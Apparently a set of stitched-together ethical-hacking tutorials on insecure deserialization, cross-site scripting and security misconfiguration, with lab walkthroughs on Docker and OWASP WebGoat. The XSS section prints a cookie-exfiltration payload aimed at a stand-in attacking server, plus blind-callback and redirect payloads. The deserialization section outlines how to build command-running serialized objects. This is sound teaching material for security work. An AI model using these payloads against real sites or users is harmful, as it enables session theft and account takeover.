  • Insecure deserialization definition: This where you will learn the key terminologies and concepts behind this vulnerability, 
  • Examples of insecure deserialization in different programming languages: We will explore simple examples on PHP, Python and JAVA to help you understand how the vulnerability works.
  • What is the impact: In this section, you will understand how bad insecure deserialization can be.
  • Are there any real-world examples? In this section, we will explore many known CVEs which exploited this vulnerability. Some of them are insecure deserialization bug bounty reports from Hackerone.
  • How to exploit it? This is where you will learn to go beyond running tools. You will perform white box testing and build custom code to solve a challenge on OWASP WebGoat.
  • Finally, we will talk about how to mitigate insecure deserialization.

What is insecure deserialization?

Let’s first understand the whole picture here. When you learn a programming language, the first thing you learn is how to define variables, classes and data structures that best suit your needs. Then, you learn how to manipulate them to achieve your needs. So far, they reside in memory, but sometimes, you need to store their states or share them with other systems. That’s where serialization and deserialization come into play.

What is Serialization?

Let’s say that you are playing with a character in a game. While you see the character on the screen, the software sees and manipulates an object residing in memory.

What if the game wants to store the state of that character in a file or share it with other systems? There should be a way to transform the in-memory object into a stream of bytes which can be easily stored and shared. That is what the process of serialization is all about. When the game performs the serialization of an object, we say that the object is serialized.

What is Deserialization?

Deserialization is the opposite of serialization. In fact, it consists of converting the serialized data into an in-memory representation which the software can then manipulate. Continuing on the previous example, when the game wants to retrieve the state of the serialized character object, it needs to deserialize it first.

What can go wrong here?

When a software deserializes user-controlled data without verification, we call it insecure deserialization. In our game example, an attacker might store a serialized file representing a malicious payload. If the developer doesn’t perform a verification before deserialization, the insecure deserialization will trigger the attacker’s code.

Insecure deserialization examples

All the code discussed in this section is hosted on GitHub. Feel free to download it and follow along.

You find insecure deserialization in so many programming languages and technologies. We will explore it in PHP, Python and Java. I highly recommend you follow along with these three exercises on your own machine. If you don’t have one, feel free to download the one I prepared for this course.

Insecure Deserialization in PHP

Also known as PHP object injection, this vulnerability takes advantage of PHP magic functions, like __destruct. Simply put, the vulnerable code defines some dangerous code of a certain class in this function. Then, it performs insecure deserialization somewhere. For example, the file-php-object-injection-example-deserialize-php file contains PHP code which deserializes an arbitrary object from a file named “serial”. Notice that we have two classes: NormalClass which the developer expects, and DangerousClass which resides in the code.

However, an attacker sees this PHP insecure deserialization operation and crafts this code, which will serialize an object of the DangerousClass type, which runs the command “ls” by the application.

Let’s spin up a new Docker container from our lab VM and serialize the malicious payload. We will map the /tmp directories of both the host and the guest. That way, we save the malicious file for later.

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist which will perform the serialization and save the malicious file in the host’s /tmp directory. From there, we will spin up a new PHP container which will simulate our vulnerable machine. 

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist. Notice that the “ls” command has run!

If we try to unserialize the variable $serial without first declaring the class in the vulnerable machine, we wouldn’t be able to list the current directory. To exploit PHP deserialization using the unserialize function, there are two requirements:

  • The vulnerable server has to define a class which define a __destruct function that runs dangerous code
  • The attacker should be able to control the unserialized data.

Another form of PHP object injection is Phar deserialization. Basically, PHP Archives store the file metadata as serialized objects. When PHP code tries to perform certain operations on a file, the attacker’s code will run. This Hackerone report is an example of that.

Insecure Deserialization in Python

In python, the insecure deserialization pickle vulnerability is overwhelmingly simple! It is sufficient to locate a feature which uses your input in pickle.loads(user_input). Then, craft a code which will generate a serialized payload defining the __reduce__ method. Let’s look at this example:

import pickle

with open('serial', 'r') as f:
    pickle.loads(f.read())

This simple code performs a Python insecure deserialization from a file named serial using the Pickle module. If you go to the module documentation, you can see a red notice which clearly warns you not to deserialize untrusted data. The attacker sees my vulnerable code and generates a serialized payload which will run the OS command “id”.

Now, when you run the vulnerable code, you will get the result of the command “id”.

Java deserialization vulnerability example

In this insecure deserialization java example, we will explore, step-by-step, how we can exploit insecure deserialization in Java. The code defines a class with the name NormalObj, which does nothing but print the name attribute when the deserialization happens. This behaviour is defined in the readObject method. However, there is also another class that I called VulnObj, which is not called anywhere in the code. The VulnObj class defines a readObject method which runs arbitrary commands when the deserialization happens.

Unfortunately, I assumed that nobody will access the filesystem. Therefore, I blindly performed deserialization from the file normalObj.serial without verification.

An attacker sees this buggy code and crafts this program. It serializes a malicious VulnObj object containing the command ls. Then, it stores it on disk with the name normalObj.serial, the same name as the expected one from my code.

Exploiting this Java insecure deserialization use case

We will now compile our code and execute it. For that, I will use a java docker image because I will need two separate machines simulating the attacker’s and the victim’s. You already have Docker installed in the free lab available for you. I recommend you connect to it and follow along. If you already have a lab of your own with Docker installed, that’s great!

We will start a brand new container while mapping the /tmp directory in our host to the /tmp directory in the guest. That way, we can get the serialized file and use it later.

docker run -it -v /tmp:/tmp:rw java /bin/bash

When you get the prompt, download the JavaSerial.java code available in this gist. Then, we will compile the code and run it

javac JavaSerial.java && java JavaSerial && exit

Now we will spin up the victim’s Docker container 

docker run -v /tmp:/tmp:rw java /bin/bash

The, we will download the JavaDeserial.java file. Finally, we will compile and execute our deserialization operation

javac JavaDeserial.java && java JavaDeserial

Notice how we get the directory listing of the /tmp directory, meaning that the command ls has been executed even if the application didn’t expect to use the VulnObj in the code at all.

If you find it difficult to understand the code, don’t worry, there are only two things to remember from this example:

  • The deserialization code has run our own ls command from the stored file without any verification even if the deserialized object is expected to be of NormalObj type.
  • The second important thing to note is the magic number of the serialized object. Let’s base64 encode the stored file and discover it.
cat vulnobj.serial | base64 
#Result will be rO0ABXXXXXXXXXXXXXXXXXXXXXXXXXXX

The idea I want you to remember is whenever you encounter rO0AB in a base64 string in an application, think about testing it against the Java insecure deserialization vulnerability.

Insecure deserialization impact

As you saw so far, a successful attack leads to arbitrary code execution. This means that the impact will damage Confidentiality, Integrity and Availability. However, if the attacker can’t build the right serialized payload, he can still trigger an exception and crash the server, therefore impacting Availability.

Insecure deserialization tools

There are many tools which can assist you when you are hunting for insecure deserialization vulnerabilities. In the case of Java, you can use the Java Deserialization Scanner Burp Suite extension. It allows you to test for different libraries using predefined POP gadget chains. Then, you can use Ysoserial to generate the appropriate payload. However, you noticed how these tools didn’t help much in the previous insecure deserialization WebGoat challenge. Therefore, I think that the most valuable tool for this vulnerability would be a good deal of white-box testing, some patience and analysis skills.

Insecure deserialization attacks

Many attacks are exploiting this vulnerability in many different languages. We will explore some of them in this section.

Insecure deserialization attacks

Let’s start with a PHP object injection example. In CVE-2018-20717, Prestashop suffered from a PHP insecure deserialization vulnerability. In this particular case, Prestashop uses user-controlled input in the unserialize function, which is a bad practice as we’ve seen earlier. However, notice how fixing a bad practice by implementing a filter is not a good idea. That CVE is exactly a demonstration of that!

In the world of Java, there is a classic example of Java insecure deserialization with the commons-collection library. Since so many Frameworks use this library, CVE-2015-7501 targets all of them at once. And the impact leads straight to remote code execution. There are even tools which exploit it on the fly.

Insecure deserialization Hackerone reports

In this insecure deserialization write up, you can learn the steps required to achieve a PHP object injection exploit. Notice how a successful attack generally involves going through a series of actions, reading the code and thinking outside the box. However, the general idea that we explained before remains the same and will act as a compass in your hacking journey.

In this insecure deserialization POC, you will find the steps which you can replicate when you want to exploit CVE-2015-7501 that we mentioned earlier using the Ysoserial tool. Specifically, it targets Jboss’s JMXInvokerServlet vulnerable servlets.

Finally, this CTF write-up is a great exercise which combines many vulnerabilities, including two insecure deserialization vulnerabilities, to achieve remote code execution.

How to exploit insecure deserialization?

In this tutorial, we will exploit a Java insecure deserialization on OWASP WebGoat.

Insecure deserialization detection

A lot of people wonder how to detect insecure deserialization vulnerabilities in Java. Well, it’s no magic. In our case, we will first perform a black-box approach. Therefore, we will explore the application until we find a payload which starts with rO0AB as we explained earlier. In challenge 5, under the Insecure deserialization menu, notice how the application expects a serialized java object.

How to test insecure deserialization ?

The easiest way to exploit it is to follow the instructions that we mentioned earlier in the Jboss Hackerone write-up. In other words, you generate a payload using the Ysoserial tool. Optionally, you can use the Java Deserialization Scanner Burp plugin to detect which library to build your payload on. This is well documented here. However, the latest release of WebGoat performs some checks before deserialization. In fact, In line 57 of the challenge source code file, WebGoat checks if the object to deserialize is an instance of the VulnerableTaskHolder class. Likely for us, this class performs OS commands in line 56. The taskAction attribute holds the command from the input which we control in the constructor.

Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor
Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor

Generate the payload

Now that we found the right class to serialize as well as where to inject our command. The goal is to cause a sleep of 5 seconds on the application. I’ve prepared the following gist which stores the serialized payload in a file on disk, exactly like we did in our previous Java insecure deserialization example.

I’ve downloaded the WebGoat release code. Then, I’ve used my IDE to create a Java class in the vulnerable package and pasted the gist. Finally, always from my IDE, I run the code which generates my serial file.

Exploiting the vulnerability

Now that we have the malicious payload, we simply need to base64 encode it and send it in the application’s input field.

cat serial | base64 -w0

Notice how the payload starts with rO0AB.

Insecure deserialization: payload ready to be used
Insecure deserialization: payload ready to be used

Sending this payload will effectively cause a sleep of 5 seconds.

Note: The vulnerable class checks if the token is older than 10 minutes. You need to generate one yourself and use it within 10 minutes.

Hopefully, this insecure deserialization tutorial gave you the roadmap of how to research and exploit this vulnerability. For more info about other languages, head to the OWASP insecure deserialization cheat sheet.

Insecure deserialization mitigation

As you might have concluded from what we saw, you should never trust data when you deserialize it. You perform checks on whitelisted classes you expect. This depends on each programming language. For example, Python provides you with the ability to restrict classes. For java, you saw how the WebGoat challenge checks if the serialized data is of type VulnerableTaskHolder.

If you’d want to implement solutions which don’t depend on a language, think about using data formats like JSON or XML, and use digital signatures. You can find more on that in the OWASP insecure deserialization prevention cheat sheet.

Insecure deserialization references

Outro

If you are new to hacking and want to learn the basics, read the Ultimate Guide to OWASP Top 10, which covers both the theory and the hands-on exercises you’ll need to kickstart your career. I have prepared a dedicated hacking lab that you can download and use for free. Many other articles on hacking and bug bounty hunting are available on thehackerish.com.

As usual, here is the video tutorial.

Cross-site Scripting, XSS explained

Hello ethical hackers! Welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this article, you will learn Cross-Site Scripting (XSS).

I’ve prepared a free practical testing lab VM which contains the best vulnerable web applications. The best approach to learn hacking is practice!

There is so much content addressing this subject, from discovery to all kinds of filter bypass. This blog post will explain all these aspects and give you references to go deeper for each one. Hopefully, it will be a general guide for you to come back to when you need anything related to XSS.

During this episode, you will learn the following:

  • How does this vulnerability work? This is where you will understand the underlying concepts which allow for a Cross-Site Scripting vulnerability to happen. You can’t understand the rest if you don’t understand this section.  
  • What are the types of XSS? We will explore all the different types with examples.
  • Where to find it? I will share with you the different injection contexts where XSS might occur.
  • How to test for it? In this section, you will learn the different approaches to testing for this vulnerability.
  • Filter bypass: You will learn how to bypass a Cross-Site Scripting filter bypass in a challenge.
  • Some attack examples: You will find and analyze real bugs disclosed on Hackerone. Hopefully, this will inspire you to find them yourself.
  • What is the impact? Once you have found a Cross-Site Scripting vulnerability, you will learn what you can do with it.
  • How to prevent it? If you are a developer and want to secure your code against this issue, or if you are a bug bounty hunter trying to write an exhaustive report including how to mitigate it, this section is for you.
  • References for further reading: There are many awesome in-depth references which will help you go even deeper in particular aspects of this topic.

How does XSS work?

Web applications serve HTML to the Web Browsers, which typically contain JavaScript to instruct them how to perform many operations, such as:

  • Producing an interactive user experience with animations, transitions, etc.
  • Making API calls to the back-end server.

Web Applications also process user inputs and show the result in the rendered HTML. For example, when you write a comment, the application stores it and shows it in the comments section.

Cross-Site scripting happens when the application fails to properly encode user input when the Web browser processes it. Therefore, an attacker can inject arbitrary JavaScript code inside the vulnerable application. When the victim navigates to the vulnerable page, the Web Browser runs the malicious JavaScript code. 

To continue on the previous example, an attacker can insert JavaScript code in the comment field. As a result, when the victim’s Web Browser renders the HTML comments page, the attacker’s JavaScript code runs against the victim.

Types of Cross-Site Scripting

There are three types of Cross-Site Scripting. Each one has its own use cases.

Reflected Cross-Site Scripting

As the name suggests, this type happens when the backend reflects untrusted user input into the HTML result page. For example, you navigate to vulnerable.site/search?query=example. Then, the backend fetches the data from a datastore and returns the result <h1>example book</h1>. An attacker can insert </h1><script>alert('XSS')</script><h1> into the query parameter to instruct the Web Browser to run the JavaScript alert function. Therefore, the full malicious URL would be: vulnerable.site/search?query=<code></h1><script>alert('XSS')</script><h1></code>. Consequently, a popup appears in the result HTML page.

In order to target a victim, the attacker must entice him/her to click on the malicious URL so that the popup triggers on his/her Web Browser.

Stored Cross-Site Scripting

In a Stored XSS scenario, the malicious payload we saw earlier gets stored in the database. Let’s consider a comment feature where users comment on an article and list all the comments. An attacker injects <script>alert(123)</script>. Therefore, any victim which navigates to the comments page will see a popup in his/her Web Browser.
Note that the attacker doesn’t necessarily need to share the link with the victim.

DOM Cross-Site Scripting

This is a special case of reflected XSS. In fact, the payload doesn’t reach the server. Instead, it ends up in a JavaScript piece of code. For example, suppose you have a web page which redirects users based on the hash value. You can open the following code in your Web Browser and experiment with it:

<script>
var path = document.location.hash.substring(1);
window.location = path;
</script>

An attacker can trigger the vulnerability using the following URL: /path/to/the/file#javascript:alert(123)

Note that you didn’t have to set up any Web Server to run arbitrary JavaScript code.

Note: When you find a Cross-Site Scripting vulnerability which cannot exploit other users, it is called a Self-XSS. For example, you can’t target other users with your shipping address shown in your private profile. Therefore, you need to chain it with another vulnerability, like CSRF, to prove a concrete impact.

Now that you understand how XSS works, let’s explore where to find it.

Where to find XSS?

You can find it in many contexts, depending on where your input gets inserted. The following are some use cases. In all the injection contexts, the general idea is to construct a valid HTML piece of code which will trigger your XSS.

Inject in HTML tags

When you notice your user input inside HTML tags, you have to test if you can inject arbitrary tags. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1>Results for hacking are …</h1>. You can replace hacking with <img>. If you see a broken image in the result, this is a strong indication that you can achieve an Cross-site Scripting.

Inject in HTML attributes

When you notice your user input inside HTML attributes, you have to test if you can inject arbitrary attributes or escape from the context of the attribute. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1 id="hacking">Results are …</h1>. You can replace hacking with dummy style="color:red". If you see a the text Results are … in red, this is a strong indication that you can achieve an XSS. Besides, you can also inject dummy"><img src=x><h1 and see whether you can inject an image. If you succeed, this indicates that you can escape the context of the attribute and potentially inject arbitrary tags, falling back to injection in the HTML tags context.

Inject in JavaScript

When your input ends up inside a JavaScript code, try to build a valid instruction. For example, let’s suppose that the following endpoint /search?query=hacking returns <h1>var query = "hacking"<h1>. In this case, try to inject hacking";console.log("potential XSS");//. If you see the message potential XSS in the Web Browser’s console, this means that you have achieved an XSS.

Inject in a JSON response

Sometimes, an API returns a JSON response with a Content-Type HTTP header of text/html. If this happens, try to inject a HTML tag like <img> and see if your Web Browser gets a broken image.

Because XSS can trigger in many injection contexts, you can use Cross-Site Scripting polyglots which are designed to cover as many contexts as possible. For example, have a look at this polyglot which targets many injection contexts.

How to test for XSS?

There are many approaches you can follow to hunt and test for XSS.

Manual, error-based testing

This is the most basic approach. Basically, you inject a payload in all the fields that you find. Whenever an XSS triggers, you will see a popup. Although you can find this vulnerability with this basic technique, it is a tedious task. Besides, there are some cases where you will not see a popup. For example, the XSS can trigger in a separate application run by an agent.

Manual, blind-based testing

In order to increase your chance of finding XSS, you can use a blind approach. Basically, instead of relying on a popup as proof, you can inject a callback to a server which you control. For example, you can inject <img src=”http://malicious-server”>. When an XSS triggers, you will get a callback to your server.

There are many tools which simplify this process and provide more information when the XSS triggers. You can use BeEF or xsshunter for that purpose.

Automated approach using XSS testing tools

This is where automated scanners come into play. For example, you can use Burp Suite Pro or OWASP ZAP to test for Cross-Site Scripting vulnerabilities. As we demonstrated in the SQL injection hands-on tutorial, both of them allow you to target specific vulnerabilities. Besides, there is a rising tool, currently on beta, called KNOXSS which specializes in finding reflected and DOM XSS at the moment.

XSS impact, beyond alert

So far, we’ve just used the JavaScript’s alert function to prove the existence of XSS. This is more than enough for the majority of your clients. However, you can go beyond that when your client gives you permission.

When you succeed at exploiting a Cross-site Scripting vulnerability, it’s like you’ve got a chair in front of the victim’s Web Browser. You can perform almost all the operations the user can do on the vulnerable application.

Forge requests

If cookies are well protected, you can target a feature in the application. For example, if the application allows you to edit the email without asking for a password, you can forge a request using JavaScript and edit the email. Then, when you can reset the victim’s password, you will receive the password reset link in your email address. Therefore, you will achieve an account takeover.

Steal cookies and sensitive data

XSS allows you to steal unprotected Cookies and tokens. For example, the following JavaScript code will exfiltrate the victim’s cookie of a vulnerable web application.

<img id="xss"><script>document.getElementById("xss").src="your-attacking-server/?cookie="+document.cookie</script>

The code above inserts an image with id xss in the vulnerable page. Then, it sets its src attribute to point to your attacking website while appending the victim’s cookie. When the victim loads the page, you will get the cookie value as part of the callback URL which you receive in your attacking server.

Redirect to a malicious website

You can also inject JavaScript code to redirect users to your malicious website, which might be a replica of the original application’s login page. Usually, people don’t pay attention to the address bar, especially if they are on mobile. For example, the following script will redirect users to your server.

<script>window.location="your-server"</script>

Deface a website

Another way to exploit XSS is to deface the vulnerable page itself. This technique is usually used by hacktivists to harm the image of the target.

XSS filter bypass

You might think that the best approach to prevent this issue would be to sanitize user inputs. Unfortunately, this is not the case. In fact, hackers always find bypasses to XSS filters. OWASP provides the XSS filter evasion cheat sheet which hackers typically use for this purpose.

In the video tutorial at the end of this article, you can see how a poorly written filter doesn’t prevent XSS.

Cross-Site Scripting prevention

The basic idea to prevent XSS is to tell the Web Browser how to differentiate between HTML and the data. You do that by properly encoding the data. For example, you can perform HTML entity encoding to transform the malicious user input <img> into <img>. When the browser sees that encoded string, it doesn’t consider an image tag. 

Of course, you need to take into consideration each injection context. That’s why you should use an encoding library. For example, OWASP Encoder allows you to properly encode user inputs to prevent XSS in Java.

XSS attack examples

Let’s start with a reflected XSS. This report demonstrates how you can redirect the victim to an arbitrary location. 

In this report, the hacker stores a payload in the name of a resource. When the victim loads it, the Stored XSS triggers.

This report is an example of a DOM XSS. I chose it because Hackerone uses Content Security Policy (CSP), which makes it hard to exploit XSS. However, it is not impossible.

Finally, this report demonstrates how you should never trust a WAF to totally protect you against attackers. While it prevents the majority of them, determined hackers will always find a way to bypass XSS filters.

XSS references and cheat sheets

XSS is a big topic and I can’t include everything in detail in one post. I’ve tried to make it as exhaustive as I can. So, here is a list of references which you can explore when you want to dig deeper into Cross-Site Scripting.

  • XSS payloads in GitHub repositories: There are many repositories for this purpose, this one is exhaustive. If you want a text file to use in your fuzzing, you can use this one.
  • Britelogic’s webGun payload builder: An interactive XSS payload builder to help you find the payload which fits your needs.
  • Portswigger’s XSS cheat sheet: Provides both interactive and PDF resources which help you find the best payload to use for a specific injection context. It will help you to find a filter bypass as well.
  • OWASP XSS prevention cheat sheet: An in-depth overview of the different prevention rules to mitigate XSS.

That was it! I hope you enjoyed reading this article and learned something new. If you did, share the knowledge with your network! Until then, stay curious, learn new things and go find some bugs.

Here is your XSS video tutorial.

OWASP Security misconfiguration explained

Security misconfiguration

Hello dear readers and welcome to this new OWASP Top 10 vulnerabilities episode. Today’s article is about Security misconfiguration. You will learn one of the most impactful vulnerabilities which some bug bounty hunters specialize in. Yet, many security testers overlook it. We will explore the following points: 

  • Define Security misconfiguration: First, we need to start from a common base.
  • Some flaws related to Security misconfiguration: We will discover how a security researcher got hacked, and how a bug bounty hunter accessed multiple admin portals.
  • Real-world examples: Here, we will see breaches, reports of bug bounty hunters. But most importantly, we will explore a great stream talking about how a security researcher found more than 90K by exploiting security misconfigurations.
  • Security misconfiguration impact.
  • How to prevent it.

I will keep enriching your mind with similar content, so make sure you don’t miss any chance and subscribe to our newsletter. 

What is Security misconfiguration?

You might find the name a bit vague, that’s because Security misconfiguration can be found in many contexts. But in general, Security misconfiguration happens when the responsible party fails to follow best practices when configuring an asset. This asset can be an operating system, a web server, software running on a machine, etc.
Security misconfigurations don’t affect web assets only. Any component which requires a configuration is subject to this vulnerability. This means that network devices, hardware, email services, etc. can suffer from this vulnerability.

Security misconfiguration flaws

In general, bad practices can lead to the following Security misconfiguration flaws. This is not a complete list, but it is enough to give you a clear idea.

Debugging enabled

Many companies have separate environments. They enable debugging in a development environment to help them in the debugging process. However, some companies forget to disable it in the production environment. Therefore, an attacker can trigger verbose errors containing internal data.

Incorrect permissions

Sometimes, developers forget to properly set permissions on publicly exposed directories, admin consoles or dashboards. Therefore, attackers can access unauthorized files. This might be confused with the Broken Access Control vulnerability, but the root cause happens to be a misconfiguration issue, before even reaching any web application feature. You can have a look at Patrik’s blog post where he stole the htpasswd file and cracked the administrative password. Then, he reused it on many publicly accessible assets.

Default credentials

This is probably one of the most trivial issues, but it often happens due to security misconfiguration. Default credentials ship with a lot of solutions. You find them in Web applications, Network devices and in anything which requires authentication. Sadly, they don’t get changed after installation, opening the door wide open to attackers. We will explore a great example shortly.

Cloud misconfiguration

Cloud has offered many advantages to companies. Nowadays, they can spin up a whole datacenter in a matter of minutes, without worrying about the lack of resources. However, with freedom comes responsibility. In fact, companies must adhere to the shared responsibility model. The following chart from AWS shows how the customer is responsible for the configuration of the resources deployed in the Cloud.

AWS shared responsibility model: Security misconfiguration in the Cloud  is the responsibility of the customer.
AWS shared responsibility model: Security misconfiguration in the Cloud is the responsibility of the customer.

Sadly, we see more and more breaches as a result of Security misconfiguration in the Cloud. For example, Amazon S3 misconfigurations alone results in more than 400k Google results, including many security breaches of well-known companies.

Network and security devices misconfiguration

Network engineers might relax network device configurations, especially when troubleshooting a network problem. However, they tend to forget about it afterwards. Therefore, an attacker can potentially access an internal asset, perform reverse shells without restrictions, etc. Also, security solutions like IDS, IPS or SIEM might be misconfigured to open the door for security vulnerabilities. In this article, a hosting provider’s support team forgot a bind shell during an intervention, which allowed to deface a security researcher’s blog.

In the following section, we will explore some real world Security misconfiguration attacks. I’m so excited to show you how this vulnerability is rocking it in the wild.

Security misconfiguration examples in the real-world

Let’s start with this awesome Nahamsec’s stream. th3g3nt3lman explains how he earned a generous bounty. In fact, he found a security misconfiguration in the Single Sign-On (SSO) redirection, which allowed him to reach a password protected page. Finally, he logged in using default credentials.

The problem of Security misconfigurations gets even worse when databases suffer from it. In this great article, we learn how MongoDB prior to version 2.6.0 binds to all interfaces, which makes it publicly accessible. 

In this report, the bug bounty hunter found default admin RabbitMQ console credentials, which allowed him to access all the queues and messages containing sensitive data. Also, he had the right to create, edit and delete queues, etc.

Security misconfiguration impact

Generally, security misconfiguration leads to Sensitive data exposure. You’ve seen that in the previous sections. Therefore, this opens the door to impact Confidentiality, Integrity and Availability, depending on the context.

Security misconfiguration remediation

Because Security misconfiguration comes from a human error, it’s hard to prevent it. However, it’s not impossible. You can implement the following security measures:

Automate as much as possible

Because humans are generally the main cause of security misconfigurations, they should not be involved in repetitive tasks. Nowadays, automation covers many areas. From development to deployment, you will find solutions and methodologies which fit your needs. If you don’t use CI/CD, you should start using it.

Disable access to administration panels and consoles

Have a deployment policy which clearly states to disable administration portals access to only allowed parties. Also, make sure that this policy is respected using regular audits.

Disable debugging

When deploying to the production environment, pay special attention to the configuration for any enabled debugging. They should all disable it.

Always change default credentials

The first step after installing a software is to change the default credentials. Make this a mandatory practice inside your company.

Disable directory listing and verify directories’ permissions

Make sure to check that your deployed application doesn’t allow directory listing. Besides, double-check that you properly set permissions on your folders and files.

For more detailed prevention measures, visit the references section at the end of the OWASP Security Misconfiguration article.

That was it! I hope you enjoyed reading this article and learned something new. Subscribe to the Newsletter and share this knowledge with your network. Until then, stay curious, learn new things and go find some bugs.

As usual, here is your video: